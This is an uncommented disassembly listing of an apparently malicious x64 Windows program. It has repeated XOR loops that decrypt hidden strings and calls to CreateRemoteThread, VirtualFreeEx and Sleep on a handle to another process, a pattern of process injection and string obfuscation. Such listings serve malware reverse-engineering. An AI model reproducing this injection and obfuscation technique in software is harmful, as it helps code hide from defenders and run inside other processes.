andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp], xmm15
mov ebx, 0x14
mov eax, ebx
lea r8, [rbp - 0x10]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x17
jl 0x140022060
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xf20]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf20]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xf20]
call fcn.140043300
nop
lea rcx, [rbp + 0x1410]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1330]
call fcn.140043300
nop
lea rcx, [rbp + 0x1350]
call fcn.140043300
nop
lea rcx, [rbp + 0x1370]
call fcn.140043300
nop
lea rcx, [rbp + 0x13d0]
call fcn.140003c20
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002b9f8
cmp eax, 2
jne 0x140021dfd
movups xmm0, xmmword [str._PUCQVTeqXJW__b]
movups xmmword [rbp + 0x8e8], xmm0
movups xmm1, xmmword [0x14008b510]
movups xmmword [rbp + 0x8f8], xmm1
mov eax, dword [0x14008b520]
mov dword [rbp + 0x908], eax
movzx eax, word [0x14008b524]
mov word [rbp + 0x90c], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140022289
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x8e8]
mov edx, dword [rbp + 0x1320]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x140022190
cmp r8d, 0x26
jge 0x1400222d3
movsxd rax, r8d
lea r9, [rbp + 0x8e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1400222a0
lea rdx, [rbp + 0x8e8]
lea rcx, [rbp + 0xf00]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf00]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xf00]
call fcn.140043300
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rdi, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140021dfd
lea rdx, [rbp + 0x1238]
call fcn.14002bfe0
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x140022553
mov r13d, ebx
cmp r12d, 2
jl 0x140022511
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm1, xmm0
movd dword [r9 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm1, xmm0
movd dword [r9 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm1, xmm0
movd dword [r9 + 0xc], xmm1
mov r13d, 0x10
mov r8d, r13d
add r8, r9
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r13b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r13d
lea r8, [r8 + 1]
cmp r13d, 0x13
jl 0x140022520
mov rcx, r9
call fcn.1400113a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x12b8]
call fcn.14002c010
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002bc79
cmp r12d, 2
jl 0x140022812
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, 0x18
mov r8d, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002bc79
jmp 0x140022820
movsd xmm0, qword [0x14008b528]
movsd qword [rbp + 0x128], xmm0
mov ecx, dword [0x14008b530]
mov dword [rbp + 0x130], ecx
mov r8d, ebx
cmp r12d, 2
jl 0x1400229d0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [0x14008b528]
xorps xmm8, xmm0
movd dword [rbp + 0x128], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm11, xmm1
movd dword [rbp + 0x12c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x130], xmm10
jmp 0x140022a12
lea r9, [rbp + 0x128]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400229e0
lea rcx, [rbp + 0x128]
call fcn.1400113a0
nop
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140022a60
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf51
call fcn.1400529f0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x140022aba
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ab5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf57
call fcn.1400529f0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], 0xf
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x1388]
cmp rdx, 0xf
jbe 0x140022b14
inc rdx
mov rcx, qword [rbp + 0x1370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf5d
call fcn.1400529f0
mov qword [rbp + 0x1380], rbx
mov qword [rbp + 0x1388], 0xf
mov byte [rbp + 0x1370], 0
mov rdx, qword [rbp + 0x13e8]
cmp rdx, 7
jbe 0x140022b73
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022b6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
mov qword [rbp + 0x13e0], rbx
mov qword [rbp + 0x13e8], 7
mov word [rbp + 0x13d0], bx
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002b9f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002b9f8
call fcn.140019bf0
movsxd rax, dword [rsp + 0x48]
mov r14d, 4
cmp eax, 0x309
jg case.default.0x140022bf3
mov esi, 0x14
mov r13d, 0x10
movdqa xmm6, xmmword [0x14008c3c0]
je 0x140024e43
cmp eax, 7
ja case.default.0x140022bf3
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x2bfb4]
add rcx, rdx
jmp rcx
movups xmm0, xmmword [0x14008be68]
movups xmmword [rbp + 0xac8], xmm0
movups xmm1, xmmword [0x14008be78]
movups xmmword [rbp + 0xad8], xmm1
movsd xmm0, qword [0x14008be88]
movsd qword [rbp + 0xae8], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140022d43
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xac8]
mov r8d, r14d
mov r9d, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x28
jl 0x140022c50
jmp 0x140022d82
lea r9, [rbp + 0xac8]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140022d50
lea rdx, [rbp + 0xac8]
lea rcx, [rbp + 0x1020]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1020]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1020]
call fcn.140043300
movups xmm4, xmmword [0x14008b3a0]
movups xmmword [rbp + 0x448], xmm4
movups xmm0, xmmword [0x14008b3b0]
movups xmmword [rbp + 0x458], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140022fb1
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x448], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x450]
xorps xmm3, xmm0
movq qword [rbp + 0x450], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x458]
xorps xmm3, xmm0
movq qword [rbp + 0x458], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x460]
xorps xmm3, xmm0
movq qword [rbp + 0x460], xmm3
lea rdx, [rbp + 0x448]
jmp 0x14002544d
lea r9, [rbp + 0x448]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x140022fc0
lea rdx, [rbp + 0x448]
jmp 0x14002544d
movups xmm0, xmmword [str.eZXQ]
movups xmmword [rbp + 0x7a0], xmm0
movsd xmm0, qword [0x14008a008]
movsd qword [rbp + 0x7b0], xmm0
mov eax, dword [0x14008a010]
mov dword [rbp + 0x7b8], eax
movzx eax, word [0x14008a014]
mov word [rbp + 0x7bc], ax
movzx eax, byte [0x14008a016]
mov byte [rbp + 0x7be], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002316a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x7a0]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140023070
cmp r8d, 0x1f
jge 0x1400231b3
movsxd rax, r8d
lea r9, [rbp + 0x7a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140023180
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0xf60]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xf60]
mov rcx, rdi
call fcn.1400054b0
nop
lea rcx, [rbp + 0xf60]
call fcn.140043300
movups xmm4, xmmword [0x140089f30]
movups xmmword [rbp + 0x468], xmm4
movups xmm0, xmmword [0x140089f40]
movups xmmword [rbp + 0x478], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x1400233e2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x468], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x470]
xorps xmm3, xmm0
movq qword [rbp + 0x470], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x478]
xorps xmm3, xmm0
movq qword [rbp + 0x478], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x480]
xorps xmm3, xmm0
movq qword [rbp + 0x480], xmm3
lea rdx, [rbp + 0x468]
jmp 0x14002544d
lea r9, [rbp + 0x468]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
